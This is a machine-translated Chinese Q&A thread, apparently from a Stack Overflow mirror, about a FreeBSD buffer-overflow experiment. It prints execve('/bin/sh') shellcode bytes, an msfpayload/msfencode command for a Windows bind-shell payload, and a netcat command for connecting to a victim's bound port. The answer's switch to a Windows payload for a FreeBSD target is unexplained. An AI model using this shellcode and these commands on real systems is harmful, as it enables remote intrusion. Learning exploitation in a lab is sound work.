use*_*086 6 security assembly buffer-overflow shellcode
我一直在试验FreeBSD系统上的缓冲区溢出.作为第一个实验,我试图让被利用的程序启动另一个进程(在这种情况下为/ bin/hostname).一切正常,程序打印主机名然后终止.之后我尝试让程序产生一个shell(即执行/ bin/sh).我假设这可以通过简单地交换表示要调用的程序的字符串来完成.当我尝试这个时,被利用的程序就会退出,根据gdb它确实成功生成了一个新进程(/ bin/sh).但是,没有生成shell.然后我尝试了我的第一个漏洞并将/ bin/sh文件移动到/ bin/hostname,仍然没有改变任何东西.我现在的问题是,从任何其他命令执行/ bin/sh似乎有什么不同?
作为参考,对于shell生成尝试,我使用了以下shellcode:
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x53\xb0\x3b\x50\xcd\x80";
Run Code Online (Sandbox Code Playgroud)
哈,我明白你的意思,但我相信你犯了一个根本性的错误。您正在调用交互式 shell,但未绑定它。
这就像调用“ifconfig”命令。如果您想要执行单个命令,那么您的 shell 代码是完美的,但是如果您想要一个交互式 shell,则不能只运行 sh。
简单地运行 sh 将导致执行 shell,它不会为您提供对 shell 的交互式控制。
解决方案: 使用 shell 代码生成器创建反向 tcp shell 或绑定 shell,并将其用作漏洞利用的有效负载。
如果您尝试在 Metasploit 中执行此操作,那么这里有一个您想要的示例命令。
msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -t c
Run Code Online (Sandbox Code Playgroud)
多做一些研究并尝试一下,你就会明白的。本质上,与执行静态命令相比,获得交互式 shell 要困难得多。
完成后,您可以使用像 netcat 这样的程序来连接并使用 shell。
netcat.exe -nv <victim ip> <port where shell was bound to>
Run Code Online (Sandbox Code Playgroud)
希望这是正确的解决方案。
| 归档时间: |
|
| 查看次数: |
1852 次 |
| 最近记录: |